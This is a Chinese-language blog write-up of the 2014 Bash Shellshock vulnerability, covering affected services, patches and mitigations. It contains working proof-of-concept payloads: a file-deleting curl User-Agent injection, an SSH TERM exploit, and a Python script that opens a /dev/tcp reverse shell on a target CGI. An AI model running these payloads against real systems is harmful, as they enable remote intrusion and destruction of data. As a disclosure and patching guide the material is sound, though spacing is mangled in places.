linux shell 鼠标事件,Bash Shellshock事件:CVE-2014-6271资料汇总

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,目前已经公布POC的漏洞利用有HTTP,OpenSSH和DHCP;Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实:更糟糕的情况已经发生,僵尸网络的狂欢昨天已经开始,从昨天的样本情况看,这是一个有C&C功能的botnet,"她"会先寻找busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。今天,一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析。

203512119d3e8926d1a20cfe79205c3a.png

[sth0r@shawn-fortress]$ uname-a

Linuxshawn-fortress3.7-trunk-686-pae#1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux

|=-----------------------------------------------------------------=|

|=-----=[D O N O T F U C K W I T H A H A C K E R]=-----=|

|=-----------------------------------------------------------------=|

|=------------------------[#4 File 0x07 ]-------------------------=|

|=-----------------------------------------------------------------=|

|=-------------------=[BashShellshock事件:]=--------------------=|

|=-------------------=[CVE-2014-6271资料汇总]=--------------------=|

|=-----------------------------------------------------------------=|

|=---------------------=[ByShawnthe R0ck]=---------------------=|

|=-----------------------------------------------------------------=|

|=-----------------------=[Sep252014]=------------------------=|

|=-----------------------------------------------------------------=|

--[ Content

0. What is BASH

1. CVE-2014-6271

2. Incomplete patch

3. Mitigation

4. Story to be continued...

5. References

--[ 0. 什么是BASH

Bourne Again Shell(简称BASH)是在GNU/Linux上最流行的SHELL实现,于1980年诞生,经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深度整合的多功能接口。

--[ 1. CVE-2014-6271

法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名SHELL实现BASH的一个漏洞,你可以通过构造环境变量的值来执行你想要执行的脚本代码,据报道称,这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序,包括:

在sshd配置中使用了ForceCommand用以限制远程用户执行命令,这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况,OpenSSH通常用法没有问题。

Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用,open/system的情况都会受此漏洞影响。

PHP脚本执行在mod_php不会受影响。

DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。

守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。

任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。

我们先来看一个简单的POC:

1,本地SHELL环境中测试是否有漏洞:

$ env x='() { :;}; echo vulnerable'bash-c"echo this is a test"

如果存在漏洞会打印"vulnerable"。

2,C程序:

/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */

#include

#include

intmain()

{

char*envp[]={

"PATH=/bin:/usr/bin",

"/usr/bin/id=() { "

"echo pwn me twice, shame on me; }; "

"echo pwn me once, shame on you",

NULL

};

char*argv[]={"/bin/bash",NULL};

execve(argv[0],argv,envp);

perror("execve");

return1;

}

je@tiny:~$ gcc-o bash-is-fun bash-is-fun.c

je@tiny:~$./bash-is-fun

pwn me once,shame on you

je@tiny:/home/je$/usr/bin/id

pwn me twice,shame on me

这个POC中可以看出BASH根本就没有去处理结尾,后面我们可以通过补丁来看为什么。

3,INVISIBLETHREAT上对于HTTP环境的测试:

创建一个脚本叫poc.cgi:

#!/bin/bash

echo"Content-type: text/html"

echo""

echo''

echo'

'

echo''

echo'

PoC'

echo''

echo'

'

echo'

'

/usr/bin/env

echo'

'

echo''

echo''

exit0

把脚本放入测试机后,输入:

$ curl http://192.168.0.1/poc.cgi

PoC
 
 

SERVER_SIGNATURE=

Apache/2.2.22(Debian)Serverat192.168.0.1Port80

HTTP_USER_AGENT=curl/7.26.0

SERVER_PORT=80

HTTP_HOST=192.168.0.1

DOCUMENT_ROOT=/var/www

SCRIPT_FILENAME=/var/www/poc.cgi

REQUEST_URI=/poc.cgi

SCRIPT_NAME=/poc.cgi

REMOTE_PORT=40974

PATH=/usr/local/bin:/usr/bin:/bin

PWD=/var/www

SERVER_ADMIN=webmaster@localhost

HTTP_ACCEPT=*/*

REMOTE_ADDR=192.168.0.1

SHLVL=1

SERVER_NAME=192.168.0.1

SERVER_SOFTWARE=Apache/2.2.22 (Debian)

QUERY_STRING=

SERVER_ADDR=192.168.0.1

GATEWAY_INTERFACE=CGI/1.1

SERVER_PROTOCOL=HTTP/1.1

REQUEST_METHOD=GET

_=/usr/bin/env

再来试试使用curl设置一个user-agent玩玩:

$ curl-A"() { :; }; /bin/rm /var/www/target"http://192.168.0.1/poc.cgi

500InternalServerError

InternalServerError

Theserver encountered aninternalerroror

misconfigurationandwas unable to complete

your request.

Pleasecontact the server administrator,

webmaster@localhostandinform them of the time the error occurred,

andanything you might havedonethat may have

caused the error.

Moreinformation aboutthiserror may be available

inthe server error log.


Apache/2.2.22(Debian)Serverat192.168.0.1Port80

上面已经把/var/www/target给删除了,再来看看:

$ curl http://192.168.0.1/target

404NotFound

NotFound

Therequested URL/target wasnotfound onthisserver.


Apache/2.2.22(Debian)Serverat192.168.0.1Port80

4, 针对OpenSSH的POC

目前有2个攻击平面,Solar Designer给出了 SSH_ORIGINAL_COMMAND的本地利用方法:http://seclists.org/oss-sec/2014/q3/651

还有就是针对远程利用的POC,通过利用TERM:

在机器A上生成一对RSA key pair:

shawn@debian-test32:~/.ssh$ ssh-keygen

Generatingpublic/privatersa key pair.

Enterfileinwhich to save the key(/home/shawn/.ssh/id_rsa):

Enterpassphrase(emptyfornopassphrase):

Entersame passphrase again:

Youridentification has been savedin/home/shawn/.ssh/id_rsa.

Yourpublickey has been savedin/home/shawn/.ssh/id_rsa.pub.

Thekey fingerprintis:

09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc shawn@debian-test32

Thekey's randomart image is:

+--[ RSA 2048]----+

| ... |

| .o . |

| ooo |

| o +.o. |

| = =S. |

| . * o E |

| o o . + |

|. = o o |

|oo . . |

+-----------------+

把A的公钥拷贝到机器B上:

$cat/home/shawn/.ssh/authorized_keys

command="/tmp/ssh.sh"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ shawn@debian-test32

一个用于控制command/SSH_ORIGINAL_COMMAND的脚本

shawn@linux-ionf:~/.ssh> cat /tmp/ssh.sh

#!/bin/sh

case"$SSH_ORIGINAL_COMMAND"in

"ps")

ps-ef

;;

"vmstat")

vmstat1100

;;

"cups stop")

/etc/init.d/cupsys stop

;;

"cups start")

/etc/init.d/cupsys start

;;

*)

echo"Sorry. Only these commands are available to you:"

echo"ps, vmstat, cupsys stop, cupsys start"

#exit 1

;;

esac

机器A上可以正常的使用限制脚本:

shawn@debian-test32:~/.ssh$exportSSH_ORIGINAL_COMMAND="ps"

shawn@debian-test32:~/.ssh$ ssh shawn@192.168.115.129$SSH_ORIGINAL_COMMAND

Enterpassphraseforkey'/home/shawn/.ssh/id_rsa':

UID PID PPID C STIME TTY TIME CMD

root10016:47?00:00:02/sbin/init showopts

root20016:47?00:00:00[kthreadd]

root32016:47?00:00:00[ksoftirqd/0]

借助TERM来利用:

shawn@debian-test32:~$exportTERM='() { :;}; id';ssh shawn@192.168.115.129

Enterpassphraseforkey'/home/shawn/.ssh/id_rsa':

uid=1000(shawn)gid=100(users)groups=100(users)

Connectionto192.168.115.129closed.

5,DHCP:

--[ 2. 补丁情况

可以看出BASH的确没有做异常处理,而直接解析后就执行了。

正式的社区补丁在这里:

但由于补丁修复的不完整,导致了CVE-2014-7169的爆出,POC如下:

shawn@shawn-fortress/tmp $ date-u>test_file

shawn@shawn-fortress/tmp $ env X='() { (a)=

bash: X: line 1: syntax error near unexpected token `='

bash:X:line1:`'

bash: error importing function definition for `X'

Thu Sep 25 09:37:04 UTC 2014

这个POC可以让攻击者能读文件,看来后续的故事还没结束................... (Sep 25 13:30 UTC 2014)

UTC时间2014年9月25日上午,CVE-2014-7169被BASH社区修复,目前主要的GNU/Linux发行版包括Debian, Gentoo, OpenSUSE, CentOS, RHEL都已经提供了相

关的升级。

--[ 3. 防御方案

在各种GNU/Linux发行版里需要升级:

Debian-based(包括Ubuntu):

sudo apt-getupdate&&apt-getupgrade

Gentoo:

sudo emerge--sync&&glsa-check-f affected

OpenSSH:

加入no-pty

--[ 4. 后续故事

这个漏洞引起的故事并没有因为补丁而结束,因为这个星球上有太多人不会那么care这个漏洞,也就是说他们不会即时的去打补丁,而从攻击者的一方而言,从漏洞公开已经出现了很多类似:

#

#CVE-2014-6271 cgi-bin reverse shell

#

importhttplib,urllib,sys

if(len(sys.argv)<4):

print"Usage: %s "%sys.argv[0]

print"Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080"%sys.argv[0]

exit(0)

conn=httplib.HTTPConnection(sys.argv[1])

reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1"%sys.argv[3]

headers={"Content-type":"application/x-www-form-urlencoded",

"test":reverse_shell}

conn.request("GET",sys.argv[2],headers=headers)

res=conn.getresponse()

printres.status,res.reason

data=res.read()

printdata

的工具,Shellshock比heartbleed更容易自动化的去攻击目标,漏洞本身的特性带来了最糟糕的情况就是蠕虫的产生,这种担心已经得到了证实: https://gist.github.com/anonymous/929d622f3b36b00c0be1

虽然目前的样本不是蠕虫,但很明显,僵尸网络的狂欢已经开始,从目前样本的情况看,这是一个有C&C功能的botnet,"她"会先寻找busybox的目标,然后尝试入侵目标机,之后尝试提权,这个恶意软件主要目的是利用肉鸡来DDOS,攻击者的下一个目标将会是WEB。一直以来致力于对抗恶意软件的社区#MalwareMustDie也出了相关的详细分析:http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html

通常来讲,一个漏洞曝光到自动化利用会在24小时内完成,所以各位抓紧时间打补丁。

--[ 5. References

[1] BASH

[2] Bash specially-crafted environment variables code injection attack

[3] CVE-2014-6271

[4] CVE-2014-7169

[5] CVE-2014-6271: remote code execution through bash

[6] SSH, The Secure Shell: The Definitive Guide

[7] CVE-2014-6271 cgi-bin reverse shell

0b1331709591d260c1c78e86d0c51c18.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值